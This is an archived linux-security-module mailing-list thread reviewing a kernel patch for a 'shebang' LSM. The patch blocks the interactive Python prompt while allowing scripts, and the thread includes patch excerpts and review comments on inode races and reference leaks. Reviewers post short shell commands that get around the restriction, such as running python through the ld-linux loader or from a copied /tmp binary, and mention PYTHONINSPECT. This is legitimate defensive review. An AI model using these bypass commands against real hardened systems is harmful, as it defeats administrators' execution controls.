Quoted 8 lines
Quoted 8 lines
While it is true that things starts getting complex if we check environment variables, shebang will already become complex if it starts worrying about updating inode number list in order to close the race window between doing creat()+write()+close()+chmod()+rename() by the package manager and teaching the kernel the new inode number determined by
creat(). We will need an interface for allowing the package manager to teach the kernel the new inode number and modification of the package manager, for the kernel side is doing inode number based blacklisting while user side can execute it beforerename().I don't think we're trying to protect against executing the interpreter prior to the rename. Rename, itself, would trigger associating the interpreter name with an inode number.
Quoted 11 lines
Quoted 5 lines
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to [email protected]
More majordomo info at http://vger.kernel.org/majordomo-info.htmlUsing filesystem xattr seems like a good idea for this kind of exceptions and instead of a hardcoded interpreter path. Something like "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to configure a security policy for some binaries. This could also be protected by IMA/EVM, if needed.
Checking for the existence of an xattr without caching is relatively slow. I'm not sure that we would want to go this route.
Quoted 6 lines
Quoted 4 lines
Quoted 3 lines
This kind of xattr should be writable by the owner of the file. The TPE LSM [1] could then take these xattr into account according to the TPE policy.
Security xattrs are only writable by root.
This is currently the case but an exception for this kind of LSM could be allowed, or another dedicated prefix could be used.
Better yet, use "user.tpe.whatever" and explicitly look for that in your xattr hooks, denying access based on whatever criteria you like. You could allow it to be set, but never deleted, for example. You can do it all within shebang without creating exceptions or new prefixes.
PATCH 1/1 shebang: restrict python interactive prompt/interpreter
In reply to Tetsuo HandaQuoted 9 lines · Tetsuo Handa
Quoted 8 lines · Kees Cook
Quoted 6 lines · Matt Brown
what does everyone thing about a
envp_blacklistoption that is a list of environmental variables that will be stripped from exec calls. This can be done in the LSM hookbprm_check_security.Is there any reason on a hardened system why you would need the PYTHONINSPECT environmental variable?
Quoted 8 lines
Quoted 3 lines
As part of shebang, it likely makes sense to whitelist (rather than blacklist) the env of the restricted interpreters. Though this is starting to get complex. :P
Blacklisting environment variables is dangerous. I think that administrators can afford whitelisting environment variable names. I think that implementing whitelist of environment variable names as an independent LSM module would be fine.
How is blacklisting environmental variables more dangerous than whitelisting? I'm just suggesting the blacklist be used for the environmental vars used to bypass the interpreter protections. I don't think we need a full blown LSM for that.
Quoted 10 lines
While it is true that things starts getting complex if we check environment variables, shebang will already become complex if it starts worrying about updating inode number list in order to close the race window between doing creat()+write()+close()+chmod()+rename() by the package manager and teaching the kernel the new inode number determined by
creat(). We will need an interface for allowing the package manager to teach the kernel the new inode number and modification of the package manager, for the kernel side is doing inode number based blacklisting while user side can execute it beforerename().
Isn't there a way to take a reference to the inode to prevent the race condition? I was thinking that a sysfs file could be written to to update the list of interpreter paths.
Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
PATCH 1/1 shebang: restrict python interactive prompt/interpreter
In reply to Matt BrownQuoted 10 lines · Matt Brown
Quoted 4 lines
What about execution via ld-linux ?
$ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2Just tested this and you are correct, this allows you to bypass the protection.
I was able to fix this bypass by including
/lib64/ld-linux-x86-64.so.2in the list of interpreters.
I'm not using BTRFS/OCFS2, but what about reflink()? They are copy-on-write while separate inodes are used. Does that mean inode number differs but attributes associated with that inode is same (i.e. inode number based blacklisting fails)? --
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
PATCH 1/1 shebang: restrict python interactive prompt/interpreter
In reply to Tetsuo HandaQuoted 16 lines · Tetsuo Handa
Quoted 7 lines · Mimi Zohar
This patch defines a new, minor LSM named "shebang", that restricts python such that scripts are allowed to execute, while the interactive prompt/interpreter is not available. When used in conjunction with an IMA appraise execute policy requiring files signatures, only signed python scripts would be allowed to execute. (A separate method for identifying "imported" code would need to be defined in order to verify their file signatures.)
Below case is blocked by IMA?
$ cp -p /usr/bin/python2 /tmp $ /tmp/python2Below case is also blocked by IMA?
Quoted 7 lines
$ echo '#!/usr/bin/python2 -' > /tmp/run-python $ chmod +x /tmp/run-python $ /tmp/run-pythonWhat about execution via ld-linux ?
$ /lib64/ld-linux-x86-64.so.2 /usr/bin/python2
Assuming that you require file signatures on anything that is executed, then only signed binaries, with the public key loaded on to the IMA keyring, would be executed.
Quoted 29 lines
Quoted 29 lines
security/shebang/shebang_python.c new file +29
-0+#define MAX_INODES 6 +static char *pathnames; +static int pathnames_len; +static unsigned long inode_list[MAX_INODES ]; +static int total; + +/* +* Get the inodes associated with the list of pathnames, as specified +* on CONFIG_SECURITY_SHEBANG_PATHNAME. +*/ +static void init_inode_list (void ) +{ +char *tmp_pathnames = pathnames; +char *p; +struct path path; +int i; +int ret; + + total =0 ; +while ((p =strsep (&tmp_pathnames," ," )) !=NULL ) { +if ((*p =='\0' ) || (*p ==' ' ) || (*p ==',' )) +continue ; + +if (total >MAX_INODES -1 ) { +pr_info ("too many interpreters\n" ); +break ; + } + + ret =kern_path (p,LOOKUP_FOLLOW , &path);
Quoted 8 lines
security/shebang/shebang_python.c line 58
Quoted 6 lines
security/shebang/shebang_python.c new file +6
-0+if (!ret) { +struct inode *inode =d_backing_inode (path.dentry); + + inode_list[total] = inode->i_ino; +pr_info ("pathname:%s i_ino: %lu\n" , + p, inode_list[total]);Leaking reference to "struct path".
kern_path() is calling "getname_kernel(name)", but that is later freed. ?I'm not seeing it. ?What are you referring to? ??
Quoted 4 lines
Quoted 4 lines
security/shebang/shebang_python.c new file +4
-0+ initialized =1 ; + total++; + } + }
Quoted 8 lines
security/shebang/shebang_python.c line 68
Quoted 6 lines
security/shebang/shebang_python.c new file +6
-0+ +/* cleanup in case we need to lookup the inodes again. */ + tmp_pathnames = pathnames; +for (i =0 ; i < pathnames_len; i++) +if (tmp_pathnames[i] =='\0' ) + tmp_pathnames[i] =' ' ;Why need to restore?
The patch description just mentions replacing the list of pathnames with a set of inodes, but doesn't go into the implications of this change. ?When the interpreter package is updated, the list of inodes would need to be updated as well.
Some method for updating the list of inodes would be needed. ?Probably the security_inode_unlink and security_inode_rename hooks would be a good place to trigger the inode list update.
Quoted 13 lines
Quoted 13 lines
security/shebang/shebang_python.c new file +13
-0+} + +/** +* shebang_bprm_check - prevent python interactive prompt/interpreter +* @bprm: contains the linux_binprm structure +* +* Restrict python such that scripts are allowed to execute, while the +* interactive prompt/interpreter is not available. +*/ +static int shebang_bprm_check (struct linux_binprm *bprm) +{ +struct inode *inode =file_inode (bprm->file); +int i =0 ;
Quoted 8 lines
security/shebang/shebang_python.c line 87
Quoted 6 lines
security/shebang/shebang_python.c new file +6
-0+ +if (bprm->interp != bprm->filename)/* allow scripts */ +return 0 ; + +if (!initialized) +init_inode_list ();
init_inode_list()can be called concurrently.
Good catch. ?Thank you.
Mimi
Quoted 31 lines
Quoted 13 lines
security/shebang/shebang_python.c new file +12
-0+ +while (i < total) { +if (inode_list[i++] != inode->i_ino) +continue ; + +pr_info ("prevent executing %s (ino=%lu)\n" , + bprm->interp, inode->i_ino); +return -EPERM ; + } +return 0 ; +} +security/shebang/shebang_python.c line 109
Quoted 10 lines
security/shebang/shebang_python.c new file +10
-0+static struct security_hook_list shebang_hooks[] = { +LSM_HOOK_INIT (bprm_check_security, shebang_bprm_check) +}; + +static int __init init_shebang (void ) +{ + pathnames =kstrdup (CONFIG_SECURITY_SHEBANG_PATHNAME ,GFP_KERNEL ); +if (!pathnames) +return -ENOMEM ; + pathnames_len =strlen (pathnames);Why need to
kstrdup()?static char pathnames[] = CONFIG_SECURITY_SHEBANG_PATHNAME; static int pathnames_len = sizeof(pathnames) - 1;will be fine.
Quoted 10 lines
security/shebang/shebang_python.c line 117
Quoted 8 lines
security/shebang/shebang_python.c new file +8
-0+ +security_add_hooks (shebang_hooks,ARRAY_SIZE (shebang_hooks),"shebang" ); +pr_info ("initialized\n" ); +return 0 ; +} + +late_initcall (init_shebang); +MODULE_LICENSE ("GPL" );Nice example for loading as a LKM-based LSM. ;-)
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
PATCH 1/1 shebang: restrict python interactive prompt/interpreter
Quoted 10 lines · Mimi Zohar
Quoted 9 lines
security/shebang/shebang_python.c line 58
Quoted 7 lines
security/shebang/shebang_python.c new file +7
-0+ ret =kern_path (p,LOOKUP_FOLLOW , &path); +if (!ret) { +struct inode *inode =d_backing_inode (path.dentry); + + inode_list[total] = inode->i_ino; +pr_info ("pathname:%s i_ino: %lu\n" , + p, inode_list[total]);Leaking reference to "struct path".
Quoted 2 lines
kern_path()is calling "getname_kernel(name)", but that is later freed. I'm not seeing it. What are you referring to?
See tomoyo_realpath_nofollow() for example. Where is path_put()?
--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html